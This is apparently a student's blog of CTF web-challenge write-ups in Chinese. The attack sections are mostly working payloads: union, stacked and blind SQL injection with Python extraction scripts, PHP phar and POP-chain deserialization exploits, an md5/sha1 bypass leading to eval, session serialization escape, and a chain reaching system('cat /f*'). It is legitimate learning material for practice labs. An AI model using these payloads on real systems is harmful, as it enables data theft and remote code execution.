暑期第三周(7.28-8.3)

其实

web

[SWPUCTF 2021 新生赛]easy_sql

开启环境后看到一个提示“球球你输入点东西吧!”没有其他信息,就看看源码

直接试试get传参

有所显示

看看是字符型还是数字型

可以判定是字符型

接下来判断闭合类型

根据显示,可以得知是单引号闭合类型

然后查字段

4显示不在,那就往下减

说明字段数是2

查看回显位

查库名

查表名

?wllm=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='test_db' --+

查列名

?wllm=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='test_db' and table_name='test_tb' --+

这里看到了flag

查看内容

[suctf 2019]EasySQL   (堆叠注入)

先来进行简单的尝试

输入1输入1\就是空白

再试试引号,单引号空白,双引号:  

这里就能推测是有黑名单之类的东西

而且输入1\没有回复,说明没有报错提醒,就没办法利用报错信息,报错注入就不可以用了

最后使用堆叠注入

列出服务器上的所有数据库

1;show databases;#

接下来我们只能碰运气的走下去

首先就试试ctf吧

查ctf数据库下的表名

1;use ctf;show tables;#

居然有flag

但是当我们继续下一步

这里我依次尝试了下面的语句

1;use ctf;describe Flag;#
1;use ctf;show columns from Flag;#
1;use ctf;select flag from Flag;#
1 union select 1,flag from ctf.Flag#

都显示NOnono

这里想着去看一下源码吧,结果貌似也没有很有用

看看别人的呢

这道题目需要我们去对后端语句进行猜解

1、输入非零数字得到的回显1和输入其余字符得不到回显=>来判断出内部的查询语句可能存在有||

2、也就是select 输入的数据||内置的一个列名 from 表名=>即为

后台语句为:select $post['query']||flag from Flag

所以我们要解决的问题是  || 或这个问题

测试语句:1;set sql_mode=PIPES_AS_CONCAT;select 1

拼接效果为:select 1;set sql_mode=PIPES_AS_CONCAT;select 1||flag from Flag

  •  关于 sql_mode : 它定义了 MySQL 应支持的 SQL 语法,以及应该在数据上执行何种确认检查,其中的PIPES_AS_CONCAT将 ||视为字符串的连接操作符而非 “或” 运算符
  • 在oracle 缺省支持 通过 ‘ || ’ 来实现字符串拼接。
  • 但在mysql 缺省不支持。需要调整mysql 的sql_mode
  •  模式:pipes_as_concat 来实现oracle 的一些功能

 这个就可以解决||带来的问题了

select 1||flag from Flag呢,看起来没有遇见过,但是就是相当于在表后面加一列 1

还有一个非预期解 *,1   好像是因为没有过滤*而造成的,拼接后不难理解

[SWPU 2018]SimplePHP

开启环境,好干净的页面上传文件界面

查看文件界面看地址栏是可以查看文件的

我们就在这里来查看一下文件

先看看index.php,file.php,upload_file.php这三个已知文件吧

有一个base.php文件看到flag,想直接去看,但是接下来看看file.php

file.php下面有两个文件,function.php和class.php

这里先来分析一下这个代码

这是一个关于上传文件的代码

当我们上传文件时,文件后缀有所限制(gif,jpeg,jpg,png)

上传成功,文件名被修改,原始文件名进行md5加密【md5(原文件名 + 用户IP)】 ,然后后缀为.jpg,再将文件移动到/upload文件夹下

再看看class.php

 <?php
class C1e4r
{public $test;public $str;public function __construct($name){$this->str = $name;}public function __destruct(){$this->test = $this->str;echo $this->test;}
}class Show
{public $source;public $str;public function __construct($file){$this->source = $file;   //$this->source = phar://phar.jpgecho $this->source;}public function __toString(){$content = $this->str['str']->source;return $content;}public function __set($key,$value){$this->$key = $value;}public function _show(){if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {die('hacker!');} else {highlight_file($this->source);}}public function __wakeup(){if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {echo "hacker~";$this->source = "index.php";}}
}
class Test
{public $file;public $params;public function __construct(){$this->params = array();}public function __get($key){return $this->get($key);}public function get($key){if(isset($this->params[$key])) {$value = $this->params[$key];} else {$value = "index.php";}return $this->file_get($value);}public function file_get($value){$text = base64_encode(file_get_contents($value));return $text;}
}
?> 

代码结构分析

  1. C1e4r类​:

    • __destruct()方法会将$str赋值给$test并输出,可能触发其他魔术方法。
  2. Show类​:

    • __toString()方法会在对象被当作字符串使用时触发
    • _show()方法存在文件读取功能,但有危险协议过滤
    • __wakeup()方法会在反序列化时触发,也有危险协议过滤
  3. Test类​:

    • file_get()方法可以读取任意文件内容(关键漏洞点)
    • 通过__get()魔术方法实现链式调用

本题中file.php使用了file_exists()函数,触发phar反序列化

img

构造pop链

C1e4r类的__destruct()中有echo $this->test;,触发Show类的__toString(),而该函数中的$content = $this->str['str']->source;,又可以继续触发Test类中的__get(),因为Test类中没有source属性

<?php
class C1e4r
{public $test;public $str;public function __construct(){$this->str = new Show();}}
class Show
{public $source;public $str;public function __construct(){$this->str=array('str'=>new Test());}}class Test
{public $file;public $params;public function __construct(){$this->params = array('source'=>'/var/www/html/f1ag.php');}
}$a=new C1e4r();
@unlink("phar.phar");
$phar=new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();?>");//设置sutb
$phar->setMetadata($a);//将自定义的meta-data存入manifest
$phar->addFromString("1.txt","123123>");//添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
@unlink('./phar.jpg');
rename("./phar.phar","./phar.jpg");

 将代码写入phar.jpg

然后上传文件

再用phar协议去访问该文件,得到base64编码的flag

[极客大挑战 2020]greatphp

这段代码的主要逻辑:

  1. ​**SYCLOVER 类**​:

    • 包含两个属性 $syc 和 $lover
    • __wakeup() 魔术方法在反序列化时触发,检查以下条件:
      • $this->syc != $this->lover(值不同)
      • md5($this->syc) === md5($this->lover)(MD5 哈希相同)
      • sha1($this->syc) === sha1($this->lover)(SHA1 哈希相同)
      • $this->syc 不包含 <?php()"' 等字符
    • 如果条件满足,执行 eval($this->syc)(任意代码执行)。
  2. 反序列化入口​:

    • 通过 $_GET['great'] 接收用户输入,并调用 unserialize()

在类里,无法用数组进行md5绕过,所以用Error类绕过md5和sha1检测

先来测试一下ab的值

<?php
$a = new Error("payload", 1);$b = new Error("payload", 2);//注意这里需要写在一行上
echo $a;
echo "<br>";
echo $b;
echo "<br>";
if ($a != $b) {echo "a!=b";
}
echo "<br>";
if (md5($a) === md5($b)) {echo "md5相等" . "<br>";
}
if (sha1($a) === sha1($b)) {echo "sha1相等";
}

 ok,可以

那么就写payload

由于题目用preg_match过滤了小括号无法调用函数,所以我们尝试直接include "/flag"将flag包含进来即可;由于过滤了引号,于是在这里进行取反,这样解码后就自动是字符串,无需再加双引号或单引号。

而且eval执行带有完整标签的语句需要先闭合,就类似于将字符串当成代码写入到源码中。

所以最后的payload:

<?phpclass SYCLOVER
{public $syc;public $lover;public function __wakeup(){if (($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc) === sha1($this->lover))) {if (!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)) {eval($this->syc);} else {die("Try Hard !!");}}}
}$cmd = '/flag';
$s = urlencode(~$cmd);
$str = "?><?=include~" . urldecode($s) . "?>";
$a = new Error($str, 1);$b = new Error($str, 2);
$c = new SYCLOVER();
$c->syc = $a;
$c->lover = $b;
echo(urlencode(serialize($c)));?>

将运行结果get传参给great

[安洵杯 2019]easy_serialize_php

开启环境点开看看

源码,并且地址栏可以看到可以进行get传参

核心逻辑如下:

  1. ​**filter() 函数**​:

    • 过滤 phpflagphp5php4fl1g 等关键词,替换为空。
    • 例如:filter("flag.php") → .php
  2. ​**$_SESSION 处理**​:

    • 默认设置 $_SESSION["user"] = "guest"
    • $_SESSION["function"] = $function(来自 $_GET['f'])。
    • $_SESSION["img"] 由 $_GET['img_path'] 决定:
      • 如果 img_path 未提供,默认 base64_encode("guest_img.png")
      • 否则,计算 sha1(base64_encode($_GET['img_path']))
  3. ​**extract($_POST)**​:

    • 将 $_POST 数据直接提取为变量,导致变量覆盖
  4. 功能分支​:

    • highlight_file:显示当前文件源码。
    • phpinfo:执行 phpinfo(),可能泄露敏感信息。
    • show_image:反序列化 $serialize_info 并读取文件内容。  

变量覆盖

extract($_POST);

使用这个,我们可以任意post东西上去,覆写任意变量。
比如我们post一个SESSION['haha'] = 1, 这个时候原来SESSION的user,function和img项全部会消失,SESSION会只剩一个haha项,值为1
当然,如果我们post三个值user,function和img项上去,就可以替换原来的值
这里倒没有那么方便,因为img的处理是在post之后进行的。 


这里找到了提示

if($function == 'highlight_file'){highlight_file('index.php');
}else if($function == 'phpinfo'){eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){$userinfo = unserialize($serialize_info);echo file_get_contents(base64_decode($userinfo['img']));
} 

这里用到的知识点是php反序列化逃逸

上面提示如果传入phpinfo的话就会eval执行phpinfo

payload:

index.php?f=phpinfo

这样就会触发phpinfo界面,先进去看看会不会有有用信息

直接搜flag或者fl没有办法找到,也就是说没有flag

然后换了一个想法,搜f1

再来触发一下show_image

$userinfo['img']只进行了base64解码,结合前面我们需要让guset_img.png逃逸

继续跟进$userinfo['img']的入口,$userinfo = unserialize($serialize_info);  $serialize_info = filter(serialize($_SESSION));

所以是$_SESSION序列化后被filter函数处理,再反序列化赋给userinfo,最后取出img这个键对应的值

反序列化

<?php
$_SESSION["user"] = '*';
$_SESSION['function'] = '**';
$_SESSION['img'] = base64_encode('guest_img.png');
echo serialize($_SESSION);
?>

因为我们要让guest_img.png逃逸换成,那我们function就应该为;s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";},让前面user的值被filter()函数替换掉,让";s:8:"function";s:40:这22个字符成为user的值,img成为一个键,但是本来是有三个键,因此我们这里还需要自己写一个键,最终结果为

<?php
$_SESSION["user"] = 'phpphpphpflagphpphpphp';
$_SESSION['function'] = ';s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"a";s:1:"a";}';
$_SESSION['img'] = base64_encode('guest_img.png');
echo serialize($_SESSION);
?>

a:3:{s:4:”user”;s:22:”phpphpphpflagphpphpphp”;s:8:”function”;s:56:”;s:3:”img”;s:20:”ZDBnM19mMWFnLnBocA==“;s:1:”a”;s:1:”a”;}”;s:3:”img”;s:20:”Z3Vlc3RfaW1nLnBuZw==“;}

经过filter函数处理后 a:3:{s:4:”user”;s:22:””;s:8:”function”;s:56:”;s:3:”img”;s:20:”ZDBnM19mMWFnLnBocA==“;s:1:”a”;s:1:”a”;}”;s:3:”img”;s:20:”Z3Vlc3RfaW1nLnBuZw==“;}

那么POST传入参数

_SESSION[user]=phpphpphpflagphpphpphp&_SESSION[function] =;s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"a";s:1:"a";}

查看源码发现flag在/d0g3_fllllllag中,base64编码后再次传参读取即可

_SESSION[user]=phpphpphpflagphpphpphp&_SESSION[function] =;s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:1:"a";s:1:"a";}

[LitCTF 2023]这是什么?SQL !注一下 !

先直接输入1其实在左下角有关键提示 ,这就直接告诉我们sql语句

给出的sql语句可以看出闭合方式是(((((())))))

然后id=1时username=tanji,password=OHHHHHH

试试别的id

id=2

利用已知的闭合方式来进行尝试

 成功

字段数就不用再查了,前面的就能看出是两个字段

查回显位

查库名看看那个ctf吧

查表名

-1)))))) union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()--+

查列名

-1)))))) union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="users"--+

有三列,分别是:id,username,password

查询列中的所有内容
-1)))))) union select username,password from users--+

 

这里一看就没有flag

换个数据库

但是我们需要先找找,show查询走不通,用select

-1)))))) union select 1,schema_name from information_schema.schemata--+

 这里注意到ctftraining

查询 ctftraining 数据库的所有表名、列名

查询 ctftraining 数据库的所有表名:

-1)))))) union select 1,group_concat(table_name) from information_schema.tables where table_schema="ctftraining"--+

看到了flag

 查询 flag 表的所有列名:

-1)))))) union select 1,group_concat(column_name) from information_schema.columns where table_schema="ctftraining" and table_name="flag"--+

查内容

-1)))))) union select 1,flag from ctftraining.flag--+

[FSCTF 2023]ez_php1

第一层,数组绕过

image-20231023164517232

第二层

把KEY值序列化就行

image-20231023164609435

第三层

P0int.php,是一个简单的反序列化,调用函数的时候读取了flagbase64值并赋值给了a变量,但是__destruct函数中输出的确实b的值,所以将b绑定为a的地址即可

<?php
class Clazz
{public $a;public $b;public function __construct(){$this->b = &$this->a;}public function __wakeup(){$this->a = file_get_contents("php://filter/read=convert.base64-encode/resource=g0t_f1ag.php");}public function __destruct(){echo $this->b;}
}
$c = new Clazz();echo serialize($c);
//data=O:5:"Clazz":2:{s:1:"a";N;s:1:"b";R:2;}

image-20231023164727064

解个base就可以得到flag

[MoeCTF 2022]ezphp

开启环境

 首先对php代码进行审计:

$flag=’xxxxxxx‘可不是代表flag的值是xxx,这段代码是通过第一行的代码:highlight_file('source.txt');把source.txt中的内容显示在了界面上,真实flag的值隐藏了起来,这里专门写出的意义是提醒同学们最后要得到的flag在$flag中。

这一行代码首先使用isset()函数检查$_GET['flag']和$_POST['flag']两个变量是否存在。如果两者都不存在,则执行exit($giveme),脚本输出$giveme变量的值并终止执行。

这一行代码检查$_POST['flag']和$_GET['flag']两个变量是否等于字符串'flag'。如果其中任何一个变量的值为'flag',则执行exit($getout),脚本输出$getout变量的值并终止执行。值得注意的是这里的判断是===。

这部分代码使用foreach分别循环遍历$_POST数组和$_GET数组。对于每个键值对,在$_POST数组中,将键作为变量名,将对应的值作为变量值。在$_GET数组中,对于每个键值对,将值作为变量名,并将对应变量的值赋给当前循环的变量。这里是题的关键所在,如何理解这个$$,可以参照下例:

让我们假设URL为:http://example.com?name=John&age=25

在这种情况下,$_GET数组如下:

$_GET = array('name' => 'John','age' => '25'
);

现在,如果我们使用该foreach循环来遍历$_GET数组: 

foreach ($_GET as $key => $value) {$$key = $value;
}

该循环将创建两个变量$name$age,并将它们的值分别设置为’John’和’25’。

因此,上述代码等效于以下赋值操作:

$name = 'John';
$age = '25';

现在,我们可以直接使用这些变量$name$age来访问相应的值:

echo $name;  // 输出:John
echo $age;   // 输出:25

理解之后,在加上之前的判断,我们可以得出答案:?a=flag&flag=a.

 实际的过程是$a = $flag,随后$flag = $a = $flag,即flag的值没有发生变化,且满足上述的需求。

[FSCTF 2023]ez_php2

点开之后是一段php代码:

 <?php
highlight_file(__file__);
Class Rd{public $ending;public $cl;public $poc;public function __destruct(){echo "All matters have concluded";die($this->ending);}public function __call($name, $arg){foreach ($arg as $key =>$value){if($arg[0]['POC']=="1111"){echo "1";$this->cl->var1 = "system";}}}
}class Poc{public $payload;public $fun;public function __set($name, $value){$this->payload = $name;$this->fun = $value;}function getflag($paylaod){echo "Have you genuinely accomplished what you set out to do?";file_get_contents($paylaod);}
}class Er{public $symbol;public $Flag;public function __construct(){$this->symbol = True;}public function __set($name, $value){$value($this->Flag);}}class Ha{public $start;public $start1;public $start2;public function __construct(){echo $this->start1."__construct"."</br>";}public function __destruct(){if($this->start2==="11111") {$this->start1->Love($this->start);echo "You are Good!";}}
}if(isset($_GET['Ha_rde_r']))
{unserialize($_GET['Ha_rde_r']);
} else{die("You are Silly goose!");
}
?> You are Silly goose!

首先我们审计这段代码。

这段代码主要定义了四个类(Rd、Poc、Er、Ha),并通过检查 $_GET 参数来决定是否进行反序列化操作。如果存在特定的 $_GET 参数,则尝试反序列化其值,否则输出 “You are Silly goose!”。

以下是对代码的详细解读:

 <?php
highlight_file(__file__);    这个函数会高亮显示
当前文件的代码内容,通常用于调试或展示代码结构,但
在生产环境中一般不应该使用,因为它可能会暴露敏感信息。
Class Rd{   定义了一个名为Rd的类。public $ending;public $cl;public $poc;声明了三个公共属性public function __destruct() __destruct()魔术方法:当对象被销毁时会触发这个方法。它会输出 “Allmatters have concluded”,然后使用die()函数终止程序并输出ending属性的值。{echo "All matters have concluded";die($this->ending);}public function __call($name, $arg)__call()魔术方法:当调用一个不可访问的方法时会触发这个方法。这里它遍历传入的参数,如果参数中的某个元素的键为POC且值为 “1111”,则输出 “1”,并将cl属性的var1属性设置为 “system”。{foreach ($arg as $key =>$value){if($arg[0]['POC']=="1111"){echo "1";$this->cl->var1 = "system";}}}
}class Poc{   定义了一个名为Poc的类。public $payload;public $fun;声明了两个公共属性。public function __set($name, $value) __set()魔术方法:当给一个不可访问的属性赋值时会触发这个方法。它将传入的属性名和值分别赋值给payload和fun属性。{$this->payload = $name;$this->fun = $value;}function getflag($paylaod)  getflag()方法:输出一段文本,然后使用file_get_contents()函数尝试获取传入参数所指定的文件内容。如果传入的参数是恶意的,可能会导致安全问题,例如读取敏感文件。{echo "Have you genuinely accomplished what you set out to do?";file_get_contents($paylaod);}
}class Er{  定义了一个名为Er的类public $symbol;public $Flag;声明了两个公共属性。public function __construct() __construct()构造方法:将symbol属性初始化为True。{$this->symbol = True;}public function __set($name, $value)__set()魔术方法:当给一个不可访问的属性赋值时会触发这个方法。它会将传入的值作为函数调用,并将Flag属性作为参数传入这个函数。如果传入的值是恶意的函数,可能会导致安全问题。{$value($this->Flag);}}class Ha{   定义了一个名为Ha的类。public $start;public $start1;public $start2;声明了三个公共属性。public function __construct() __construct()构造方法:输出start1属性的值和 “__construct” 以及一个换行符。{echo $this->start1."__construct"."</br>";}public function __destruct()  __destruct()魔术方法:当对象被销毁时会触发这个方法。如果start2属性的值为 “11111”,则调用start1属性的Love()方法,并传入start属性作为参数,然后输出 “You are Good!”。{if($this->start2==="11111") {$this->start1->Love($this->start);echo "You are Good!";}}
}if(isset($_GET['Ha_rde_r']))
{unserialize($_GET['Ha_rde_r']);
} else{die("You are Silly goose!");
}检查是否存在$_GET['Ha_rde_r']参数。如果存在,则对
其进行反序列化操作;如果不存在,则输出 “You are Sil
ly goose!”。这里的反序列化操作如果传入的参数被恶意构
造,可能会导致安全问题,例如对象注入攻击。
?> You are Silly goose!

开始找链子,入口在Ha里面。触发__destruct方法后,给start2赋值"11111",然后进入如下语句:

$this->start1->Love($this->start);

使得其触发__call方法,然后给start赋值[‘POC’=>‘1111’]
进入if语句,然后通过其中的var1触发__set方法
然后value就成为了system,修改$Flag就可以修改执行的命令了

然后我们构造如下脚本:

<?php
Class Rd{public $cl;
}
class Er{public $Flag='cat /f*';
}
class Ha{public $start;public $start1;public $start2="11111";
}$a=new Ha();
$a->start1=new Rd();
$a->start=['POC'=>'1111'];
$a->start1->cl=new Er();
echo serialize($a);
?>

运行之后得到:
 我们构造payload:

?Ha_rde_r=O:2:"Ha":3:{s:5:"start";a:1:{s:3:"POC";s:4:"1111";}s:6:"start1";O:2:"Rd":1:{s:2:"cl";O:2:"Er":1:{s:4:"Flag";s:7:"cat /f*";}}s:6:"start2";s:5:"11111";}

然后我们打开HackBar 运行之后得到flag: 

[网鼎杯 2018]Fakebook

进入页面,常规审计F12无发现,这边先扫一下有无泄露扫目录,发现存在robots.txt和flag.php,访问后发现源码泄露/user.php.bak

<?phpclass UserInfo
{public $name = "";public $age = 0;public $blog = "";public function __construct($name, $age, $blog){$this->name = $name;$this->age = (int)$age;$this->blog = $blog;}function get($url){$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);$output = curl_exec($ch);$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);if($httpCode == 404) {return 404;}curl_close($ch);return $output;}public function getBlogContents (){return $this->get($this->blog);}public function isValidBlog (){$blog = $this->blog;return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);}}

curl_init(url)函数,初始化一个新的会话,返回一个cURL句柄,供curl_setopt(), curl_exec()和curl_close() 函数使用。参数url如果提供了该参数,CURLOPT_URL 选项将会被设置成这个值。

curl_setopt ( resource $ch , int $option , mixed $value ) 设置 cURL 传输选项,为 cURL 会话句柄设置选项。参数:
ch:由 curl_init() 返回的 cURL 句柄。
option:需要设置的CURLOPT_XXX选项。(CURLOPT_URL:需要获取的 URL 地址,也可以在curl_init() 初始化会话的时候。使用 CURLOPT_RETURNTRANSFER 后总是会返回原生的(Raw)内容。)
value:将设置在option选项上的值。

curl_getinfo — 获取一个cURL连接资源句柄的信息,获取最后一次传输的相关信息。

经过分析可得:
1,注册界面输入的blog经过了isValidBlog()函数的过滤,不然直接在注册界面blog处输入file:///var/www/html/flag.php就能拿到flag。

2,get()函数存在ssrf漏洞。

显然存在ssrf漏洞,并且拼接入我们的url就是我们注册的时候输入的url,但是显然是有waf的,所以我们就不能够直接利用。。没有WAF直接在注册界面输入file:///var/www/html/flag.php就能拿到我们想要的flag。所以,我们的思路是,把flag的路径赋给blog,经过一系列操作最后会返回flag.php的内容。

[WEEK2]easy_sql -- 无列名盲注

o!看了wp才知道就是union无列名注入 小问题 出来就好!!嘿嘿

分析

打开题目,发现页面的回显只有:1的、错误、error 三种 可以考虑盲注了

and && ^ # --+ 都被过滤

  • 盲注的话考虑:与、异或、按位或、按位与
  • 没有办法闭合考虑 or ||

sql中字符数字可以和数字进行按位或

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-4oiShfqr-1666973111143)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221026232213666.png)]

构造 1'|1||' 正确回显 1'|2||' 错误回显

然后进行爆破数据库长度

发现数据库的长度是3

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-u0wNKgDJ-1666973111143)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221026174631076.png)]

进一步尝试,order、information_schema都被过滤

information_schema 被过滤 -> 无列名注入

order 被过滤 -> group 替换

爆破数据库的列数,3列

 

1'group/**/by/**/3,' 前面的'闭合1前的' 后面的是闭合之前有的' 加上,分开 因为过滤了# 和 + 无法注释 而order by group by要在最后 使用,分割 select * from xx where id = '1'group by 5,'2'

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-k1IXrpJS-1666973111143)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221026193545902.png)]

information_schema.table被过滤 可以使用 mysql.innodb_table_stats

脚本爆破一下表的名字 得出 ccctttfff

 

def get_cloumns(): count = 1 flag = '' while True: for i in range(32, 127): data = { "id": f"1'|if(ascii(substr((select(group_concat(table_name))from(mysql.innodb_table_stats)where(database_name=database())),{count},1))={i},1,2)||'"} resp = requests.post(url=url, data=data) if success in resp.text: flag += chr(i) print(flag) count += 1 break elif i == 126: return False time.sleep(0.05)

下面无列名爆破数据

 

select 1,2,3 union select * from ccctttfff

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-QmKgz93H-1666973111144)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221026194312863.png)]

这样以来 1 2 3 分别对应一列 二列 三列 的列名

然后

 

select group_concat(`1`,'-',`2`,'-',`3`) from (select 1,2,3 union select * from ccctttfff)a select(group_concat(`3`))from(select/**/1,2,3/**/union/**/select/**/*/**/from/**/ccctttfff)a

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-fMfggjyA-1666973111144)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221026194427324.png)]

这样就可以在没有列名的情况下查询到数据库信息

然后我们开始盲注

 

1'|if(ascii(substr((select(group_concat(`3`))from(select/**/1,2,3/**/union/**/select/**/*/**/from/**/ccctttfff)a),1,1))=55,1,2)||'

运行了好多遍 遍历出来的三列分别是

 

# 第一列 1 # 第二列 bob # 第三列 I am so handsome

呜呜呜,跑了好多遍,终于怀疑:出题人是不是没有把flag放到这数据库

重新跑所有的数据库库名

qwq,原谅我太菜

跑出来有两个数据库

ctf
ccctttfff

 

# 这个脚本的缺点:半自动 但是跑出来的表不会重复 需要修改 # limit 0,1 =>第一个数据库 # limit 1,1 =>第二个数据库 # ...... def get_all_database(): flag = '' count = 1 while True: for i in range(32, 127): data = { "id": f"1'|if(ascii(substr((select/**/database_name/**/from/**/mysql.innodb_table_stats/**/group/**/by/**/database_name/**/LIMIT/**/0,1),{count},1))={i},1,2)||'"} resp = requests.post(url=url, data=data) if success in resp.text: flag += chr(i) print(flag) break elif i == 126: return False time.sleep(0.1) count += 1 # 这个脚本的缺点:有多少个表 就会跑多少个数据库 数据库会重复 def get_all_database(): flag = '' count = 1 while True: for i in range(32, 127): data = { "id": f"1'|if(ascii(substr((select/**/group_concat(database_name)from/**/mysql.innodb_table_stats),{count},1))={i},1,2)||'"} resp = requests.post(url=url, data=data) if success in resp.text: flag += chr(i) print(flag) break elif i == 126: return False time.sleep(0.1) count += 1

第一个脚本结果:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Dkp2cagP-1666973111144)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221027113412616.png)]

第二个脚本结果:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-g55lVKlk-1666973111145)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221027113035256.png)]

然后我跑的是所有的表名

因为知道ccctttff属于ctf,那么跑出来的其余的都是ctftraining的

 

# 结果: # ctf:ccctttfff # ctftraining:flag,news,users,gtid_slave_pos def get_tables(): count = 1 flag = '' while True: for i in range(32, 127): data = { "id": f"1'|if(ascii(substr((select(group_concat(table_name))from(mysql.innodb_table_stats)),{count},1))={i},1,2)||'"} resp = requests.post(url=url, data=data) if success in resp.text: flag += chr(i) print(flag) count += 1 break elif i == 126: return False time.sleep(0.05)

我是估计flag就在flag表里面,但是把无列名查询我们要知道表中具体的列数的 我们又不知道flag表多少列

我查了资料也没找到,因为information_schema被过滤,有大佬知道可以说下的!

然后就是靠懵了

比赛中表的列数一般会小于10 也就 3 4 5左右

我是从1开始试的

 

1'|if(ascii(substr((select(group_concat(`1`))from(select/**/1/**/union/**/select/**/*/**/from/**/ctftraining.flag)a),{count},1))={i},1,2)||'

脚本

 

def get_values(): count = 1 flag = '' while True: for i in range(32, 127): data = { "id": f"1'|if(ascii(substr((select(group_concat(`1`))from(select/**/1/**/union/**/select/**/*/**/from/**/ctftraining.flag)a),{count},1))={i},1,2)||'"} resp = requests.post(url=url, data=data) print(i) if success in resp.text: flag += chr(i) print(flag) count += 1 break elif i == 126: return False time.sleep(0.05)

最后也是跑出来了

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-oBfMminE-1666973111145)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221027114429123.png)]

PS:这个题挺鸡贼的哈哈哈

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/news/918015.shtml
繁体地址,请注明出处:http://hk.pswp.cn/news/918015.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【物联网】基于树莓派的物联网开发【21】——MQTT获取树莓派传感器数据广播实战

场景介绍 今天程序猫带领大家如何获取树莓派传感器温湿度数据&#xff0c;并用MQTT进行广播。 实现过程 启动MQTT服务 1、终端启动Mosquitto服务 sudo systemctl start mosquitto 2、设置服务开机自动启动 sudo systemctl enable mosquitto硬件连接 树莓派4b连接GPIO引脚与DHT1…

Mysql自定义顺序查询

1、使用函数MySQL 的 ORDER BY FIELD() 函数可以按照指定的自定义顺序对查询结果进行排序&#xff0c;而不是默认的升序&#xff08;ASC&#xff09;或降序&#xff08;DESC&#xff09;。2、适用场景后端/运营人员经常需要临时把某几条记录‘拽’到最前&#xff08;或最后&…

回归预测 | MATLAB实现RBF径向基神经网络多输入单输出回归预测+SHAP可解释分析

目录 基于RBF径向基神经网络多输入单输出回归预测及SHAP可解释分析的研究 摘要 1. 引言 1.1 研究背景 1.2 研究意义 1.3 研究目标与内容 2. 文献综述 2.1 RBF径向基神经网络研究现状 2.2 SHAP可解释分析研究进展 3. RBF径向基神经网络原理 4. SHAP可解释分析理论基础 4.1 Shapl…

--- Eureka 服务注册发现 ---

Euraka 是netfix开发的基于REST服务基于AP框架的注册中心&#xff0c;主要是用于服务的注册&#xff0c;管理&#xff0c;负载均衡&#xff0c;服务故障转移 Eureka主要分俩部分Eureka Server&#xff1a;服务中心Server端&#xff0c;提供服务注册 发现 健康检查等服务Eureka …

vue3 el-select 加载内容后 触发事件

在 Vue 3 中使用 Element UI 的 el-select 组件实现加载内容后触发事件&#xff0c;主要有以下两种常见需求及实现方式&#xff1a;加载数据后触发事件若需在数据加载完成后触发特定事件&#xff08;如页面渲染完成&#xff09;&#xff0c;可通过自定义指令监听滚动容器状态&a…

c# winform 调用 海康威视工业相机(又全又细又简洁)

1.准备一个海康相机 从垃圾桶里翻出来一个USB口相机。 2.下载MVS 和SDK 海康机器人-机器视觉-下载中心 mvs&#xff1a; sdk&#xff1a; 用MVS 调试一下&#xff0c;能连接就行。 海康威视相机&#xff0c;MVS连接成功&#xff0c;但无图像怎么办&#xff1f;-CSDN博客 3.打…

前端页面直接生成PDF下载文件

前言 因为要实现业务需求如下图&#xff0c;业务逻辑&#xff0c;该凭证为前端代码实现&#xff0c;为了简单方便实现下载为pdf的需求。 一、怎么在前端直接生成PDF&#xff1f; 需求描述&#xff1a;浏览器打开的这个页面&#xff0c;点击下载&#xff0c;把当前弹框页面的…

性能优化——GPU的影响

关闭MSAA 之前在查一个渲染问题&#xff0c;一开始是定位到了CPU在waitforFrame所以知道是GPU的问题但如何定义GPU的问题在哪里&#xff0c;就很麻烦。我一开始以为是drawcall的问题&#xff0c;因为我发现drawcall有350个但降低到30个后&#xff0c;依然情况没有好转。毕竟dra…

软件需求关闭前的质量评估标准是什么

在 需求关闭前&#xff0c;进行 质量评估 是确保需求被完整实现、测试充分且满足业务目标的关键步骤。以下是需求关闭前的质量评估标准&#xff0c;涵盖了功能、非功能、测试覆盖率和用户满意度等方面&#xff1a;一、功能实现的质量评估标准需求完整性&#xff1a;所有功能需求…

vscode中创建python虚拟环境的方法

